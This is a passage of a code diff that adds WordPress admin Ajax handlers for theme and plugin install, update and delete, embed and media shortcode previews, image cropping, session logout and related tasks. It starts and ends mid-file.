+	update_user_meta( get_current_user_id(), 'admin_color', $color_scheme );
+
+	wp_send_json_success( array(
+		'previousScheme' => 'admin-color-' . $previous_color_scheme,
+		'currentScheme'  => 'admin-color-' . $color_scheme
+	) );
+}
+
+/**
+ * Ajax handler for getting themes from themes_api().
+ *
+ * @since 3.9.0
+ *
+ * @global array $themes_allowedtags
+ * @global array $theme_field_defaults
+ */
+function wp_ajax_query_themes() {
+	global $themes_allowedtags, $theme_field_defaults;
+
+	if ( ! current_user_can( 'install_themes' ) ) {
+		wp_send_json_error();
+	}
+
+	$args = wp_parse_args( wp_unslash( $_REQUEST['request'] ), array(
+		'per_page' => 20,
+		'fields'   => $theme_field_defaults
+	) );
+
+	if ( isset( $args['browse'] ) && 'favorites' === $args['browse'] && ! isset( $args['user'] ) ) {
+		$user = get_user_option( 'wporg_favorites' );
+		if ( $user ) {
+			$args['user'] = $user;
+		}
+	}
+
+	$old_filter = isset( $args['browse'] ) ? $args['browse'] : 'search';
+
+	/** This filter is documented in wp-admin/includes/class-wp-theme-install-list-table.php */
+	$args = apply_filters( 'install_themes_table_api_args_' . $old_filter, $args );
+
+	$api = themes_api( 'query_themes', $args );
+
+	if ( is_wp_error( $api ) ) {
+		wp_send_json_error();
+	}
+
+	$update_php = network_admin_url( 'update.php?action=install-theme' );
+	foreach ( $api->themes as &$theme ) {
+		$theme->install_url = add_query_arg( array(
+			'theme'    => $theme->slug,
+			'_wpnonce' => wp_create_nonce( 'install-theme_' . $theme->slug )
+		), $update_php );
+
+		if ( current_user_can( 'switch_themes' ) ) {
+			if ( is_multisite() ) {
+				$theme->activate_url = add_query_arg( array(
+					'action'   => 'enable',
+					'_wpnonce' => wp_create_nonce( 'enable-theme_' . $theme->slug ),
+					'theme'    => $theme->slug,
+				), network_admin_url( 'themes.php' ) );
+			} else {
+				$theme->activate_url = add_query_arg( array(
+					'action'     => 'activate',
+					'_wpnonce'   => wp_create_nonce( 'switch-theme_' . $theme->slug ),
+					'stylesheet' => $theme->slug,
+				), admin_url( 'themes.php' ) );
+			}
+		}
+
+		if ( ! is_multisite() && current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
+			$theme->customize_url = add_query_arg( array(
+				'return' => urlencode( network_admin_url( 'theme-install.php', 'relative' ) ),
+			), wp_customize_url( $theme->slug ) );
+		}
+
+		$theme->name        = wp_kses( $theme->name, $themes_allowedtags );
+		$theme->author      = wp_kses( $theme->author, $themes_allowedtags );
+		$theme->version     = wp_kses( $theme->version, $themes_allowedtags );
+		$theme->description = wp_kses( $theme->description, $themes_allowedtags );
+		$theme->stars       = wp_star_rating( array( 'rating' => $theme->rating, 'type' => 'percent', 'number' => $theme->num_ratings, 'echo' => false ) );
+		$theme->num_ratings = number_format_i18n( $theme->num_ratings );
+		$theme->preview_url = set_url_scheme( $theme->preview_url );
+	}
+
+	wp_send_json_success( $api );
+}
+
+/**
+ * Apply [embed] Ajax handlers to a string.
+ *
+ * @since 4.0.0
+ *
+ * @global WP_Post    $post       Global $post.
+ * @global WP_Embed   $wp_embed   Embed API instance.
+ * @global WP_Scripts $wp_scripts
+ * @global int        $content_width
+ */
+function wp_ajax_parse_embed() {
+	global $post, $wp_embed, $content_width;
+
+	if ( empty( $_POST['shortcode'] ) ) {
+		wp_send_json_error();
+	}
+	$post_id = isset( $_POST[ 'post_ID' ] ) ? intval( $_POST[ 'post_ID' ] ) : 0;
+	if ( $post_id > 0 ) {
+		$post = get_post( $post_id );
+		if ( ! $post || ! current_user_can( 'edit_post', $post->ID ) ) {
+			wp_send_json_error();
+		}
+		setup_postdata( $post );
+	} elseif ( ! current_user_can( 'edit_posts' ) ) { // See WP_oEmbed_Controller::get_proxy_item_permissions_check().
+		wp_send_json_error();
+	}
+
+	$shortcode = wp_unslash( $_POST['shortcode'] );
+
+	preg_match( '/' . get_shortcode_regex() . '/s', $shortcode, $matches );
+	$atts = shortcode_parse_atts( $matches[3] );
+	if ( ! empty( $matches[5] ) ) {
+		$url = $matches[5];
+	} elseif ( ! empty( $atts['src'] ) ) {
+		$url = $atts['src'];
+	} else {
+		$url = '';
+	}
+
+	$parsed = false;
+	$wp_embed->return_false_on_fail = true;
+
+	if ( 0 === $post_id ) {
+		/*
+		 * Refresh oEmbeds cached outside of posts that are past their TTL.
+		 * Posts are excluded because they have separate logic for refreshing
+		 * their post meta caches. See WP_Embed::cache_oembed().
+		 */
+		$wp_embed->usecache = false;
+	}
+
+	if ( is_ssl() && 0 === strpos( $url, 'http://' ) ) {
+		// Admin is ssl and the user pasted non-ssl URL.
+		// Check if the provider supports ssl embeds and use that for the preview.
+		$ssl_shortcode = preg_replace( '%^(\\[embed[^\\]]*\\])http://%i', '$1https://', $shortcode );
+		$parsed = $wp_embed->run_shortcode( $ssl_shortcode );
+
+		if ( ! $parsed ) {
+			$no_ssl_support = true;
+		}
+	}
+
+	// Set $content_width so any embeds fit in the destination iframe.
+	if ( isset( $_POST['maxwidth'] ) && is_numeric( $_POST['maxwidth'] ) && $_POST['maxwidth'] > 0 ) {
+		if ( ! isset( $content_width ) ) {
+			$content_width = intval( $_POST['maxwidth'] );
+		} else {
+			$content_width = min( $content_width, intval( $_POST['maxwidth'] ) );
+		}
+	}
+
+	if ( $url && ! $parsed ) {
+		$parsed = $wp_embed->run_shortcode( $shortcode );
+	}
+
+	if ( ! $parsed ) {
+		wp_send_json_error( array(
+			'type' => 'not-embeddable',
+			'message' => sprintf( __( '%s failed to embed.' ), '<code>' . esc_html( $url ) . '</code>' ),
+		) );
+	}
+
+	if ( has_shortcode( $parsed, 'audio' ) || has_shortcode( $parsed, 'video' ) ) {
+		$styles = '';
+		$mce_styles = wpview_media_sandbox_styles();
+		foreach ( $mce_styles as $style ) {
+			$styles .= sprintf( '<link rel="stylesheet" href="%s"/>', $style );
+		}
+
+		$html = do_shortcode( $parsed );
+
+		global $wp_scripts;
+		if ( ! empty( $wp_scripts ) ) {
+			$wp_scripts->done = array();
+		}
+		ob_start();
+		wp_print_scripts( array( 'mediaelement-vimeo', 'wp-mediaelement' ) );
+		$scripts = ob_get_clean();
+
+		$parsed = $styles . $html . $scripts;
+	}
+
+	if ( ! empty( $no_ssl_support ) || ( is_ssl() && ( preg_match( '%<(iframe|script|embed) [^>]*src="http://%', $parsed ) ||
+		preg_match( '%<link [^>]*href="http://%', $parsed ) ) ) ) {
+		// Admin is ssl and the embed is not. Iframes, scripts, and other "active content" will be blocked.
+		wp_send_json_error( array(
+			'type' => 'not-ssl',
+			'message' => __( 'This preview is unavailable in the editor.' ),
+		) );
+	}
+
+	$return = array(
+		'body' => $parsed,
+		'attr' => $wp_embed->last_attr
+	);
+
+	if ( strpos( $parsed, 'class="wp-embedded-content' ) ) {
+		if ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) {
+			$script_src = includes_url( 'js/wp-embed.js' );
+		} else {
+			$script_src = includes_url( 'js/wp-embed.min.js' );
+		}
+
+		$return['head'] = '<script src="' . $script_src . '"></script>';
+		$return['sandbox'] = true;
+	}
+
+	wp_send_json_success( $return );
+}
+
+/**
+ * @since 4.0.0
+ *
+ * @global WP_Post    $post
+ * @global WP_Scripts $wp_scripts
+ */
+function wp_ajax_parse_media_shortcode() {
+	global $post, $wp_scripts;
+
+	if ( empty( $_POST['shortcode'] ) ) {
+		wp_send_json_error();
+	}
+
+	$shortcode = wp_unslash( $_POST['shortcode'] );
+
+	// Only process previews for media related shortcodes:
+	$found_shortcodes = get_shortcode_tags_in_content( $shortcode );
+	$media_shortcodes = array(
+		'audio',
+		'embed',
+		'playlist',
+		'video',
+		'gallery',
+	);
+
+	$other_shortcodes = array_diff( $found_shortcodes, $media_shortcodes );
+
+	if ( ! empty( $other_shortcodes ) ) {
+		wp_send_json_error();
+	}
+
+	if ( ! empty( $_POST['post_ID'] ) ) {
+		$post = get_post( (int) $_POST['post_ID'] );
+	}
+
+	// the embed shortcode requires a post
+	if ( ! $post || ! current_user_can( 'edit_post', $post->ID ) ) {
+		if ( in_array( 'embed', $found_shortcodes, true ) ) {
+			wp_send_json_error();
+		}
+	} else {
+		setup_postdata( $post );
+	}
+
+	$parsed = do_shortcode( $shortcode  );
+
+	if ( empty( $parsed ) ) {
+		wp_send_json_error( array(
+			'type' => 'no-items',
+			'message' => __( 'No items found.' ),
+		) );
+	}
+
+	$head = '';
+	$styles = wpview_media_sandbox_styles();
+
+	foreach ( $styles as $style ) {
+		$head .= '<link type="text/css" rel="stylesheet" href="' . $style . '">';
+	}
+
+	if ( ! empty( $wp_scripts ) ) {
+		$wp_scripts->done = array();
+	}
+
+	ob_start();
+
+	echo $parsed;
+
+	if ( 'playlist' === $_REQUEST['type'] ) {
+		wp_underscore_playlist_templates();
+
+		wp_print_scripts( 'wp-playlist' );
+	} else {
+		wp_print_scripts( array( 'mediaelement-vimeo', 'wp-mediaelement' ) );
+	}
+
+	wp_send_json_success( array(
+		'head' => $head,
+		'body' => ob_get_clean()
+	) );
+}
+
+/**
+ * Ajax handler for destroying multiple open sessions for a user.
+ *
+ * @since 4.1.0
+ */
+function wp_ajax_destroy_sessions() {
+	$user = get_userdata( (int) $_POST['user_id'] );
+	if ( $user ) {
+		if ( ! current_user_can( 'edit_user', $user->ID ) ) {
+			$user = false;
+		} elseif ( ! wp_verify_nonce( $_POST['nonce'], 'update-user_' . $user->ID ) ) {
+			$user = false;
+		}
+	}
+
+	if ( ! $user ) {
+		wp_send_json_error( array(
+			'message' => __( 'Could not log out user sessions. Please try again.' ),
+		) );
+	}
+
+	$sessions = WP_Session_Tokens::get_instance( $user->ID );
+
+	if ( $user->ID === get_current_user_id() ) {
+		$sessions->destroy_others( wp_get_session_token() );
+		$message = __( 'You are now logged out everywhere else.' );
+	} else {
+		$sessions->destroy_all();
+		/* translators: %s: User's display name. */
+		$message = sprintf( __( '%s has been logged out.' ), $user->display_name );
+	}
+
+	wp_send_json_success( array( 'message' => $message ) );
+}
+
+/**
+ * Ajax handler for cropping an image.
+ *
+ * @since 4.3.0
+ */
+function wp_ajax_crop_image() {
+	$attachment_id = absint( $_POST['id'] );
+
+	check_ajax_referer( 'image_editor-' . $attachment_id, 'nonce' );
+	if ( empty( $attachment_id ) || ! current_user_can( 'edit_post', $attachment_id ) ) {
+		wp_send_json_error();
+	}
+
+	$context = str_replace( '_', '-', $_POST['context'] );
+	$data    = array_map( 'absint', $_POST['cropDetails'] );
+	$cropped = wp_crop_image( $attachment_id, $data['x1'], $data['y1'], $data['width'], $data['height'], $data['dst_width'], $data['dst_height'] );
+
+	if ( ! $cropped || is_wp_error( $cropped ) ) {
+		wp_send_json_error( array( 'message' => __( 'Image could not be processed.' ) ) );
+	}
+
+	switch ( $context ) {
+		case 'site-icon':
+			require_once ABSPATH . '/wp-admin/includes/class-wp-site-icon.php';
+			$wp_site_icon = new WP_Site_Icon();
+
+			// Skip creating a new attachment if the attachment is a Site Icon.
+			if ( get_post_meta( $attachment_id, '_wp_attachment_context', true ) == $context ) {
+
+				// Delete the temporary cropped file, we don't need it.
+				wp_delete_file( $cropped );
+
+				// Additional sizes in wp_prepare_attachment_for_js().
+				add_filter( 'image_size_names_choose', array( $wp_site_icon, 'additional_sizes' ) );
+				break;
+			}
+
+			/** This filter is documented in wp-admin/custom-header.php */
+			$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication.
+			$object  = $wp_site_icon->create_attachment_object( $cropped, $attachment_id );
+			unset( $object['ID'] );
+
+			// Update the attachment.
+			add_filter( 'intermediate_image_sizes_advanced', array( $wp_site_icon, 'additional_sizes' ) );
+			$attachment_id = $wp_site_icon->insert_attachment( $object, $cropped );
+			remove_filter( 'intermediate_image_sizes_advanced', array( $wp_site_icon, 'additional_sizes' ) );
+
+			// Additional sizes in wp_prepare_attachment_for_js().
+			add_filter( 'image_size_names_choose', array( $wp_site_icon, 'additional_sizes' ) );
+			break;
+
+		default:
+
+			/**
+			 * Fires before a cropped image is saved.
+			 *
+			 * Allows to add filters to modify the way a cropped image is saved.
+			 *
+			 * @since 4.3.0
+			 *
+			 * @param string $context       The Customizer control requesting the cropped image.
+			 * @param int    $attachment_id The attachment ID of the original image.
+			 * @param string $cropped       Path to the cropped image file.
+			 */
+			do_action( 'wp_ajax_crop_image_pre_save', $context, $attachment_id, $cropped );
+
+			/** This filter is documented in wp-admin/custom-header.php */
+			$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication.
+
+			$parent_url = wp_get_attachment_url( $attachment_id );
+			$url        = str_replace( basename( $parent_url ), basename( $cropped ), $parent_url );
+
+			$size       = @getimagesize( $cropped );
+			$image_type = ( $size ) ? $size['mime'] : 'image/jpeg';
+
+			$object = array(
+				'post_title'     => basename( $cropped ),
+				'post_content'   => $url,
+				'post_mime_type' => $image_type,
+				'guid'           => $url,
+				'context'        => $context,
+			);
+
+			$attachment_id = wp_insert_attachment( $object, $cropped );
+			$metadata = wp_generate_attachment_metadata( $attachment_id, $cropped );
+
+			/**
+			 * Filters the cropped image attachment metadata.
+			 *
+			 * @since 4.3.0
+			 *
+			 * @see wp_generate_attachment_metadata()
+			 *
+			 * @param array $metadata Attachment metadata.
+			 */
+			$metadata = apply_filters( 'wp_ajax_cropped_attachment_metadata', $metadata );
+			wp_update_attachment_metadata( $attachment_id, $metadata );
+
+			/**
+			 * Filters the attachment ID for a cropped image.
+			 *
+			 * @since 4.3.0
+			 *
+			 * @param int    $attachment_id The attachment ID of the cropped image.
+			 * @param string $context       The Customizer control requesting the cropped image.
+			 */
+			$attachment_id = apply_filters( 'wp_ajax_cropped_attachment_id', $attachment_id, $context );
+	}
+
+	wp_send_json_success( wp_prepare_attachment_for_js( $attachment_id ) );
+}
+
+/**
+ * Ajax handler for generating a password.
+ *
+ * @since 4.4.0
+ */
+function wp_ajax_generate_password() {
+	wp_send_json_success( wp_generate_password( 24 ) );
+}
+
+/**
+ * Ajax handler for saving the user's WordPress.org username.
+ *
+ * @since 4.4.0
+ */
+function wp_ajax_save_wporg_username() {
+	if ( ! current_user_can( 'install_themes' ) && ! current_user_can( 'install_plugins' ) ) {
+		wp_send_json_error();
+	}
+
+	check_ajax_referer( 'save_wporg_username_' . get_current_user_id() );
+
+	$username = isset( $_REQUEST['username'] ) ? wp_unslash( $_REQUEST['username'] ) : false;
+
+	if ( ! $username ) {
+		wp_send_json_error();
+	}
+
+	wp_send_json_success( update_user_meta( get_current_user_id(), 'wporg_favorites', $username ) );
+}
+
+/**
+ * Ajax handler for installing a theme.
+ *
+ * @since 4.6.0
+ *
+ * @see Theme_Upgrader
+ *
+ * @global WP_Filesystem_Base $wp_filesystem Subclass
+ */
+function wp_ajax_install_theme() {
+	check_ajax_referer( 'updates' );
+
+	if ( empty( $_POST['slug'] ) ) {
+		wp_send_json_error( array(
+			'slug'         => '',
+			'errorCode'    => 'no_theme_specified',
+			'errorMessage' => __( 'No theme specified.' ),
+		) );
+	}
+
+	$slug = sanitize_key( wp_unslash( $_POST['slug'] ) );
+
+	$status = array(
+		'install' => 'theme',
+		'slug'    => $slug,
+	);
+
+	if ( ! current_user_can( 'install_themes' ) ) {
+		$status['errorMessage'] = __( 'Sorry, you are not allowed to install themes on this site.' );
+		wp_send_json_error( $status );
+	}
+
+	include_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
+	include_once( ABSPATH . 'wp-admin/includes/theme.php' );
+
+	$api = themes_api( 'theme_information', array(
+		'slug'   => $slug,
+		'fields' => array( 'sections' => false ),
+	) );
+
+	if ( is_wp_error( $api ) ) {
+		$status['errorMessage'] = $api->get_error_message();
+		wp_send_json_error( $status );
+	}
+
+	$skin     = new WP_Ajax_Upgrader_Skin();
+	$upgrader = new Theme_Upgrader( $skin );
+	$result   = $upgrader->install( $api->download_link );
+
+	if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
+		$status['debug'] = $skin->get_upgrade_messages();
+	}
+
+	if ( is_wp_error( $result ) ) {
+		$status['errorCode']    = $result->get_error_code();
+		$status['errorMessage'] = $result->get_error_message();
+		wp_send_json_error( $status );
+	} elseif ( is_wp_error( $skin->result ) ) {
+		$status['errorCode']    = $skin->result->get_error_code();
+		$status['errorMessage'] = $skin->result->get_error_message();
+		wp_send_json_error( $status );
+	} elseif ( $skin->get_errors()->get_error_code() ) {
+		$status['errorMessage'] = $skin->get_error_messages();
+		wp_send_json_error( $status );
+	} elseif ( is_null( $result ) ) {
+		global $wp_filesystem;
+
+		$status['errorCode']    = 'unable_to_connect_to_filesystem';
+		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );
+
+		// Pass through the error from WP_Filesystem if one was raised.
+		if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->get_error_code() ) {
+			$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
+		}
+
+		wp_send_json_error( $status );
+	}
+
+	$status['themeName'] = wp_get_theme( $slug )->get( 'Name' );
+
+	if ( current_user_can( 'switch_themes' ) ) {
+		if ( is_multisite() ) {
+			$status['activateUrl'] = add_query_arg( array(
+				'action'   => 'enable',
+				'_wpnonce' => wp_create_nonce( 'enable-theme_' . $slug ),
+				'theme'    => $slug,
+			), network_admin_url( 'themes.php' ) );
+		} else {
+			$status['activateUrl'] = add_query_arg( array(
+				'action'     => 'activate',
+				'_wpnonce'   => wp_create_nonce( 'switch-theme_' . $slug ),
+				'stylesheet' => $slug,
+			), admin_url( 'themes.php' ) );
+		}
+	}
+
+	if ( ! is_multisite() && current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
+		$status['customizeUrl'] = add_query_arg( array(
+			'return' => urlencode( network_admin_url( 'theme-install.php', 'relative' ) ),
+		), wp_customize_url( $slug ) );
+	}
+
+	/*
+	 * See WP_Theme_Install_List_Table::_get_theme_status() if we wanted to check
+	 * on post-installation status.
+	 */
+	wp_send_json_success( $status );
+}
+
+/**
+ * Ajax handler for updating a theme.
+ *
+ * @since 4.6.0
+ *
+ * @see Theme_Upgrader
+ *
+ * @global WP_Filesystem_Base $wp_filesystem Subclass
+ */
+function wp_ajax_update_theme() {
+	check_ajax_referer( 'updates' );
+
+	if ( empty( $_POST['slug'] ) ) {
+		wp_send_json_error( array(
+			'slug'         => '',
+			'errorCode'    => 'no_theme_specified',
+			'errorMessage' => __( 'No theme specified.' ),
+		) );
+	}
+
+	$stylesheet = preg_replace( '/[^A-z0-9_\-]/', '', wp_unslash( $_POST['slug'] ) );
+	$status     = array(
+		'update'     => 'theme',
+		'slug'       => $stylesheet,
+		'oldVersion' => '',
+		'newVersion' => '',
+	);
+
+	if ( ! current_user_can( 'update_themes' ) ) {
+		$status['errorMessage'] = __( 'Sorry, you are not allowed to update themes for this site.' );
+		wp_send_json_error( $status );
+	}
+
+	$theme = wp_get_theme( $stylesheet );
+	if ( $theme->exists() ) {
+		$status['oldVersion'] = $theme->get( 'Version' );
+	}
+
+	include_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
+
+	$current = get_site_transient( 'update_themes' );
+	if ( empty( $current ) ) {
+		wp_update_themes();
+	}
+
+	$skin     = new WP_Ajax_Upgrader_Skin();
+	$upgrader = new Theme_Upgrader( $skin );
+	$result   = $upgrader->bulk_upgrade( array( $stylesheet ) );
+
+	if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
+		$status['debug'] = $skin->get_upgrade_messages();
+	}
+
+	if ( is_wp_error( $skin->result ) ) {
+		$status['errorCode']    = $skin->result->get_error_code();
+		$status['errorMessage'] = $skin->result->get_error_message();
+		wp_send_json_error( $status );
+	} elseif ( $skin->get_errors()->get_error_code() ) {
+		$status['errorMessage'] = $skin->get_error_messages();
+		wp_send_json_error( $status );
+	} elseif ( is_array( $result ) && ! empty( $result[ $stylesheet ] ) ) {
+
+		// Theme is already at the latest version.
+		if ( true === $result[ $stylesheet ] ) {
+			$status['errorMessage'] = $upgrader->strings['up_to_date'];
+			wp_send_json_error( $status );
+		}
+
+		$theme = wp_get_theme( $stylesheet );
+		if ( $theme->exists() ) {
+			$status['newVersion'] = $theme->get( 'Version' );
+		}
+
+		wp_send_json_success( $status );
+	} elseif ( false === $result ) {
+		global $wp_filesystem;
+
+		$status['errorCode']    = 'unable_to_connect_to_filesystem';
+		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );
+
+		// Pass through the error from WP_Filesystem if one was raised.
+		if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->get_error_code() ) {
+			$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
+		}
+
+		wp_send_json_error( $status );
+	}
+
+	// An unhandled error occurred.
+	$status['errorMessage'] = __( 'Update failed.' );
+	wp_send_json_error( $status );
+}
+
+/**
+ * Ajax handler for deleting a theme.
+ *
+ * @since 4.6.0
+ *
+ * @see delete_theme()
+ *
+ * @global WP_Filesystem_Base $wp_filesystem Subclass
+ */
+function wp_ajax_delete_theme() {
+	check_ajax_referer( 'updates' );
+
+	if ( empty( $_POST['slug'] ) ) {
+		wp_send_json_error( array(
+			'slug'         => '',
+			'errorCode'    => 'no_theme_specified',
+			'errorMessage' => __( 'No theme specified.' ),
+		) );
+	}
+
+	$stylesheet = preg_replace( '/[^A-z0-9_\-]/', '', wp_unslash( $_POST['slug'] ) );
+	$status     = array(
+		'delete' => 'theme',
+		'slug'   => $stylesheet,
+	);
+
+	if ( ! current_user_can( 'delete_themes' ) ) {
+		$status['errorMessage'] = __( 'Sorry, you are not allowed to delete themes on this site.' );
+		wp_send_json_error( $status );
+	}
+
+	if ( ! wp_get_theme( $stylesheet )->exists() ) {
+		$status['errorMessage'] = __( 'The requested theme does not exist.' );
+		wp_send_json_error( $status );
+	}
+
+	// Check filesystem credentials. `delete_theme()` will bail otherwise.
+	$url = wp_nonce_url( 'themes.php?action=delete&stylesheet=' . urlencode( $stylesheet ), 'delete-theme_' . $stylesheet );
+	ob_start();
+	$credentials = request_filesystem_credentials( $url );
+	ob_end_clean();
+	if ( false === $credentials || ! WP_Filesystem( $credentials ) ) {
+		global $wp_filesystem;
+
+		$status['errorCode']    = 'unable_to_connect_to_filesystem';
+		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );
+
+		// Pass through the error from WP_Filesystem if one was raised.
+		if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->get_error_code() ) {
+			$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
+		}
+
+		wp_send_json_error( $status );
+	}
+
+	include_once( ABSPATH . 'wp-admin/includes/theme.php' );
+
+	$result = delete_theme( $stylesheet );
+
+	if ( is_wp_error( $result ) ) {
+		$status['errorMessage'] = $result->get_error_message();
+		wp_send_json_error( $status );
+	} elseif ( false === $result ) {
+		$status['errorMessage'] = __( 'Theme could not be deleted.' );
+		wp_send_json_error( $status );
+	}
+
+	wp_send_json_success( $status );
+}
+
+/**
+ * Ajax handler for installing a plugin.
+ *
+ * @since 4.6.0
+ *
+ * @see Plugin_Upgrader
+ *
+ * @global WP_Filesystem_Base $wp_filesystem Subclass
+ */
+function wp_ajax_install_plugin() {
+	check_ajax_referer( 'updates' );
+
+	if ( empty( $_POST['slug'] ) ) {
+		wp_send_json_error( array(
+			'slug'         => '',
+			'errorCode'    => 'no_plugin_specified',
+			'errorMessage' => __( 'No plugin specified.' ),
+		) );
+	}
+
+	$status = array(
+		'install' => 'plugin',
+		'slug'    => sanitize_key( wp_unslash( $_POST['slug'] ) ),
+	);
+
+	if ( ! current_user_can( 'install_plugins' ) ) {
+		$status['errorMessage'] = __( 'Sorry, you are not allowed to install plugins on this site.' );
+		wp_send_json_error( $status );
+	}
+
+	include_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
+	include_once( ABSPATH . 'wp-admin/includes/plugin-install.php' );
+
+	$api = plugins_api( 'plugin_information', array(
+		'slug'   => sanitize_key( wp_unslash( $_POST['slug'] ) ),
+		'fields' => array(
+			'sections' => false,
+		),
+	) );
+
+	if ( is_wp_error( $api ) ) {
+		$status['errorMessage'] = $api->get_error_message();
+		wp_send_json_error( $status );
+	}
+
+	$status['pluginName'] = $api->name;
+
+	$skin     = new WP_Ajax_Upgrader_Skin();
+	$upgrader = new Plugin_Upgrader( $skin );
+	$result   = $upgrader->install( $api->download_link );
+
+	if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
+		$status['debug'] = $skin->get_upgrade_messages();
+	}
+
+	if ( is_wp_error( $result ) ) {
+		$status['errorCode']    = $result->get_error_code();
+		$status['errorMessage'] = $result->get_error_message();
+		wp_send_json_error( $status );
+	} elseif ( is_wp_error( $skin->result ) ) {
+		$status['errorCode']    = $skin->result->get_error_code();
+		$status['errorMessage'] = $skin->result->get_error_message();
+		wp_send_json_error( $status );
+	} elseif ( $skin->get_errors()->get_error_code() ) {
+		$status['errorMessage'] = $skin->get_error_messages();
+		wp_send_json_error( $status );
+	} elseif ( is_null( $result ) ) {
+		global $wp_filesystem;
+
+		$status['errorCode']    = 'unable_to_connect_to_filesystem';
+		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );
+
+		// Pass through the error from WP_Filesystem if one was raised.
+		if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->get_error_code() ) {
+			$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
+		}
+
+		wp_send_json_error( $status );
+	}
+
+	$install_status = install_plugin_install_status( $api );
+	$pagenow = isset( $_POST['pagenow'] ) ? sanitize_key( $_POST['pagenow'] ) : '';
+
+	// If installation request is coming from import page, do not return network activation link.
+	$plugins_url = ( 'import' === $pagenow ) ? admin_url( 'plugins.php' ) : network_admin_url( 'plugins.php' );
+
+	if ( current_user_can( 'activate_plugin', $install_status['file'] ) && is_plugin_inactive( $install_status['file'] ) ) {
+		$status['activateUrl'] = add_query_arg( array(
+			'_wpnonce' => wp_create_nonce( 'activate-plugin_' . $install_status['file'] ),
+			'action'   => 'activate',
+			'plugin'   => $install_status['file'],
+		), $plugins_url );
+	}
+
+	if ( is_multisite() && current_user_can( 'manage_network_plugins' ) && 'import' !== $pagenow ) {
+		$status['activateUrl'] = add_query_arg( array( 'networkwide' => 1 ), $status['activateUrl'] );
+	}
+
+	wp_send_json_success( $status );
+}
+
+/**
+ * Ajax handler for updating a plugin.
+ *
+ * @since 4.2.0
+ *
+ * @see Plugin_Upgrader
+ *
+ * @global WP_Filesystem_Base $wp_filesystem Subclass
+ */
+function wp_ajax_update_plugin() {
+	check_ajax_referer( 'updates' );
+
+	if ( empty( $_POST['plugin'] ) || empty( $_POST['slug'] ) ) {
+		wp_send_json_error( array(
+			'slug'         => '',
+			'errorCode'    => 'no_plugin_specified',
+			'errorMessage' => __( 'No plugin specified.' ),
+		) );
+	}
+
+	$plugin = plugin_basename( sanitize_text_field( wp_unslash( $_POST['plugin'] ) ) );
+
+	$status = array(
+		'update'     => 'plugin',
+		'slug'       => sanitize_key( wp_unslash( $_POST['slug'] ) ),
+		'oldVersion' => '',
+		'newVersion' => '',
+	);
+
+	if ( ! current_user_can( 'update_plugins' ) || 0 !== validate_file( $plugin ) ) {
+		$status['errorMessage'] = __( 'Sorry, you are not allowed to update plugins for this site.' );
+		wp_send_json_error( $status );
+	}
+
+	$plugin_data          = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );
+	$status['plugin']     = $plugin;
+	$status['pluginName'] = $plugin_data['Name'];
+
+	if ( $plugin_data['Version'] ) {
+		/* translators: %s: Plugin version */
+		$status['oldVersion'] = sprintf( __( 'Version %s' ), $plugin_data['Version'] );
+	}
+
+	include_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
+
+	wp_update_plugins();
+
+	$skin     = new WP_Ajax_Upgrader_Skin();
+	$upgrader = new Plugin_Upgrader( $skin );
+	$result   = $upgrader->bulk_upgrade( array( $plugin ) );
+
+	if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
+		$status['debug'] = $skin->get_upgrade_messages();
+	}
+
+	if ( is_wp_error( $skin->result ) ) {
+		$status['errorCode']    = $skin->result->get_error_code();
+		$status['errorMessage'] = $skin->result->get_error_message();
+		wp_send_json_error( $status );
+	} elseif ( $skin->get_errors()->get_error_code() ) {
+		$status['errorMessage'] = $skin->get_error_messages();
+		wp_send_json_error( $status );
+	} elseif ( is_array( $result ) && ! empty( $result[ $plugin ] ) ) {
+		$plugin_update_data = current( $result );
+
+		/*
+		 * If the `update_plugins` site transient is empty (e.g. when you update
+		 * two plugins in quick succession before the transient repopulates),
+		 * this may be the return.
+		 *
+		 * Preferably something can be done to ensure `update_plugins` isn't empty.
+		 * For now, surface some sort of error here.
+		 */
+		if ( true === $plugin_update_data ) {
+			$status['errorMessage'] = __( 'Plugin update failed.' );
+			wp_send_json_error( $status );
+		}
+
+		$plugin_data = get_plugins( '/' . $result[ $plugin ]['destination_name'] );
+		$plugin_data = reset( $plugin_data );
+
+		if ( $plugin_data['Version'] ) {
+			/* translators: %s: Plugin version */
+			$status['newVersion'] = sprintf( __( 'Version %s' ), $plugin_data['Version'] );
+		}
+		wp_send_json_success( $status );
+	} elseif ( false === $result ) {
+		global $wp_filesystem;
+
+		$status['errorCode']    = 'unable_to_connect_to_filesystem';
+		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );
+
+		// Pass through the error from WP_Filesystem if one was raised.
